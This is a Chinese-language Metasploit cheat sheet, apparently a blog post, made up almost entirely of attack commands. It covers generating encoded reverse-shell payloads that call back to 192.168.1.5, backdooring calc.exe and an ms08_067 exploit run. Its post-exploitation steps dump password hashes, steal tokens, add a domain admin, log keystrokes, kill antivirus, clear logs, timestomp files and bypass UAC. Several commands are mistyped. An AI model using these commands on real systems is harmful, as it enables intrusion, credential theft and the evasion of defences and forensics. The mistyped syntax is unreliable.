1. 程式人生 > >metasploit常用命令

metasploit常用命令

類型 交互 我們 round vba payload stats ets 擴展

service apache2 start

service postgresql start

msfconsole啟動

1.MSF終端命令

show exploit

列出metasploit框架中的所有滲透攻擊模塊。

show payloads

列出metasploit框架中的所有攻擊載荷。

show auxiliary

列出metasploit框架中的所有輔助攻擊模塊。

search name

查找metasploit框架中的所有滲透攻擊和其他模塊。

info

展示出制定滲透攻擊或模塊的相關信息。

use name

裝載一個滲透攻擊或者模塊。

LHOST

目標主機鏈接的IP地址。

RHOST

遠程主機或者目標主機。

set function

設置特定的配置參數。

setg function

以全局方式設置特定的配置參數。

show options

列出某個滲透攻擊或模塊中所有的參數配置。

show targets

列出滲透攻擊所支持的目標平臺。

set target num

指定你所知道的目標的操作系統以及補丁版本類型。

set payload

指定想要使用的攻擊載荷。

show advanced

列出所有高級配置選項。

set autorunscript migrate -f.

在滲透攻擊完成後,將自動遷移到另一個進程。

check 檢測目標是否對選定滲透攻擊存在相應安全漏洞

exploit

執行滲透攻擊或模塊來攻擊目標。

exploit -j

在計劃任務下進行滲透攻擊(攻擊將在後臺進行)

exploit -z

滲透攻擊成功後不與會話進行交互。

exploit -e encoder

制定使用的攻擊載荷編碼方式

exploit -h

列出exploit命令的幫助信息。

sessions -l

列出可用的交互會話(在處理多個shell時使用)

sessions -l -v

列出所有可用的交互會話以及會話詳細信息,例如:攻擊系統時使用了哪個安全漏洞。

sessions -s script

在所有活躍的meterpreter會話中運行一個特定的meterpreter腳本。

sessions -K

殺死所有活躍的交互會話。

sessions -c cmd

在所有活躍的metaerpreter會話上執行一個命令。

sessions -u sessionID

升級一個普通的win32shell到meterpreter shell。

db_create name

創建一個數據庫驅動攻擊所要使用的數據庫。

db_nmap

利用nmap並把所有掃描數據庫存儲到數據庫中。

db_autopwn -h

展示出db_autopwn命令的幫助信息。

db_autopwn -p -r -e

對所有發現的開放端口執行db_autopwn,攻擊所有系統,並使用一個反彈式shell。

db_destroy

刪除當前數據庫。

db_destroy user:[email protected]:port/database

使用高級選項來刪除數據庫。

2.metapreter命令

help

打開幫助

run scriptname

運行meterpreter腳本,在scripts/meterpreter目錄下可查看到所有腳本名。

sysinfo

列出受控主機的系統信息。

ls

列出目標主機的文件和文件夾信息。

use priv

加載特權提升擴展模塊,來擴展meterpreter庫。

ps

顯示所有運行進程以及關聯的用戶賬戶。

migrate PID

遷移到一個指定的進程ID

use incognito

加載inconito功能(用來盜取目標主機的令牌或是假冒用戶)

list_tokens -u

列出目標主機用戶組的可用令牌。

impersonate_token DOMAIN_NAME\\USERNAME

假冒目標主機上的可用令牌。

steal_token

盜竊給定進程的可用令牌並進行令牌假冒。

drop_token

停止假冒當前的令牌。

getsystem

通過各種攻擊向量來提升到系統用戶權限。

shell

以所有可用令牌來運行一個交互的shell。

execute -f cmd.exe -i

執行cmd.exe命令並進行交互。

execute -f cmd.exe -i -t

以所有可用令牌來執行cmd命令。

execute -f cmd.exe -i -H -t

以所有可用令牌來執行cmd命令並隱藏該進程。

rev2self

回到控制目標主機的初始用戶賬戶下。

reg command

在目標主機註冊表中進行交互,創建,刪除和查詢等操作。

setdesktop number

切換到另一個用戶界面(該功能基於那些用戶已登錄)。

screenshot

對目標主機的屏幕進行截圖。

upload file

向目標主機上傳文件。

download file

從目標主機下載文件。

keyscan_dump存儲目標主機上或許的鍵盤記錄。

getprivs

盡可能多的獲取目標主機上的特權。

uietl enable keyboard/mouse

接管目標主機的鍵盤和鼠標。

background

將你當前的meterpreter shell轉為後臺執行。

hashdump

導出目標主機中的口令哈希值。

use sniffer

加載嗅探模塊。

sniffer_interfaces

列出目標主機所有開放的網絡接口。

sniffer_dump interfaceID pcapname

在目標主機上啟動嗅探。

sniffer_start interfaceID packet_buffer

在目標主機上針對特定範圍的數據包緩沖區啟動嗅探。

sniffer_stats interfaceID

獲取正在實施嗅探網絡接口的統計數據

sniffer_stop interfaceID

停止嗅探。

add_user username password -h ip

在遠程目標主機上添加一個用戶。

add_group_user “Domain Adimins”username -h ip

將用戶添加到目標主機的域管理員組中。

clearev

清除目標主機上的日誌記錄。

timestomp

修改文件屬性,例如修改文件的創建時間(反取證調差)。

reboot

重啟目標主機。

3.MSFpayload命令

msfpayload -h

MSFpayload 的幫助信息。

msfpayload windows/meterpreter/bind_tcp O

列出所有可用的攻擊載荷。

msfpayload windows/metarpreter/bind_tcp O.

列出所有windows/meterpreter/bind_tcp 下攻擊載荷的配置項(任何攻擊載荷都是可以配置的)。

msfpayload windows/metaerpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X>payload.exe

創建一個metarpreter的reverse_tcp 攻擊載荷回連到192.168.1.5的443端口,將其保存為名為payload.exe的windows可執行程序。

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R>payload.ray

與上面生成同樣的攻擊載荷,到導成原始格式的文件,該文件將在後面的MSFencode中使用。

msfpayload windows/meterpreter/bind_tcp LPORT=443 C>payload.c

與上面生成同樣的攻擊載荷,但導出成C格式的shellcode。

msfpayload windows/meterpreter/bind_tcp LPORT=443 J>payload.java

導出成以%u編碼方式的javaScript語言字符串。

4.MSFencode命令

msfencode -h

列出MSFencode的幫助信息。

msfencode -l

列出所有可用的編碼器。

msfencode -t(c,eif.exe,java,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)

顯示編碼緩沖區的格式。

msfencode -i payload.raw -o encoded_payload,exe -e x86/shikata_ga_nai -c 5 -t exe

使用 shikata_nai編碼器對payload.raw文件進行5次編碼,然後導出一個名為encoded_payload.exe的文件。

msfpayload windows/meterpreter/bind_tcp LPORT=443 R|msfencode -e x86/_countdown -c 5 -t raw|msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe

創建一個經過多種編碼格式嵌套編碼的攻擊載荷。

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c

創建一個純字母 數字的shellcode,由ESI寄存器指向shellcode,以C語言格式輸出。

5.MSFcli命令。

msfcli | grep exploit

僅列出滲透攻擊模塊。

msfcli | grep exploit/windows

僅列出與Windows相關的滲透攻擊模塊。

msfcli exploit/windows/smb/msf08_067_netapi PYALOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E

對172.16.32.142 發起ms08_067_netapi滲透攻擊,配置了bind_tcp攻擊載荷,並綁定在443端口進行監聽。

6.Metasploit高級忍術

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R|msfencode -x calc.exe -k -o payload.exe -c x86/shikata_ga_nai -c 7 -t exe

創建一個反彈式的Meterpreter攻擊載荷,回連到192.168.1.5 主機的443端口,使用calc.exe作為載荷後門程序,讓載荷執行流一直運行在被攻擊的應用程序中,最後生成以.shikata_ga_nai編碼器編碼後的攻擊載荷可執行程序payload.exe。

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R|msfencode -x calc.exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe

創建一個反彈式的meterpreter攻擊載荷,回連到192.168.1.5主機的443端口,使用calc.exe作為載荷後門程序,不讓載荷執行流一直運行在被攻擊的應用程序中,同時在攻擊載荷執行後也不會再目標主機上彈出任何信息。這種配置非常有用,當你通過瀏覽器漏洞控制了遠程主機,並不想讓計算機程序打開呈現在目標用戶面前,同樣,最後生成用.shikata_ga_nai 編碼的攻擊載荷程序payload.exe。

msfpayload windows/meterpreter/bind_tcp LPORT=443 R|msfencode -0 payload.exe -e x86/shikata_ga_nai -c 7 exe & & msfcli multi/bandler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E

創建一個raw格式的bind_tcp模式Meterpreter攻擊載荷,用shikata_ga_nai編碼7次,輸出以payload.exe命名的windows可執行程序文件,同時啟用多路監聽方式進行執行。

7.MSFvenom

利用MSFvenom,一個集成套件,來創建和編碼你的攻擊載荷。

msfvenom --payload

windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai LHOST=172.16.1.32 LPORT=443 > msf.exe

[*] x86/shikata_ga_nai succeeded with size 317(iteration=1)

root://opt/framework3/msf3#

這一行命令就可以創建一個攻擊載荷並自動產生出可執行文件格式。

8.Meterpreter後滲透攻擊階段命令。

在Windows主機上使用metarpreter進行提權操作。

meterpreter>use priv

meterpreter>getsystem

從一個給定的進程ID中竊取一個域管理員組令牌,添加一個域賬戶,並把域賬戶添加到域管理員組中。

meterpreter>ps

meterpreter>steal_token 1784

meterpreter>shell

c:\windows\sysem32>user metasploit @password /ADD /DOMAIN

c:\windows\sysem32>net group "Domain Admins" metasploit /ADD /DOMAIN

從SAM數據庫中導出密碼的哈希值。

meterpreter>use priv

meterpreter>getsystem

meterpreter>hashdump

提示:在widonws 2008中,如果getsystem命令和hashdump命令拋出異常情況時,你需要遷移到一個以SYSTEM系統權限運行的進程中。

自動遷移到一個獨立進程。

meterpreter>run migrate

通過meterpreter的killav腳步來殺死目標主機運行的殺毒軟件進程。

meterpreter>run kallav

針對一個特定的進程捕獲目標主機上的鍵盤記錄:

meterpreter>ps

meterpreter>migrate 1436

meterpreter>kayscan_start

meterpreter>kayscan_start

meterpreter>keyscan_dump

meterpreter>kayscan_stop

使用匿名方式來假冒管理員:

meterpreter>use incognito

meterpreter>list_tokens -u

meterpreter>use priv

meterpreter>getsystem

meterpreter>list_tokens -u

meterpreter>impersonate_token IHAZSECURITY\\Admininistrator

查看目標主機都采取了那些防範保護措施,列出幫助菜單,關閉防火墻以及其它我們發現的保護措施。

meterpreter>run getcountermeasure

meterpreter>run getcountermeasure -h

meterpreter>run getcountermeasure -d -k

識別被控制的主機是否是一臺虛擬機。

meterpreter>run checkvm

在一個meterpreter會話界面中使用cmd shell。

meterpreter>shell

獲取目標主機的圖形界面(VNC).

meterpreter>run vnc

使正在運行的meterpreter界面在後臺運行。

meterpreter>background

繞過windows的用戶賬戶控制(UAC)機制。

meterpreter>run post/windows/escalate/bypassuac

導出蘋果OS-X系統的口令哈希值。

meterpreter>run post/osx/gather/hashdump

導出linux系統的口令哈希值。

meterpreter>run post/linux/gather/hashdump

metasploit常用命令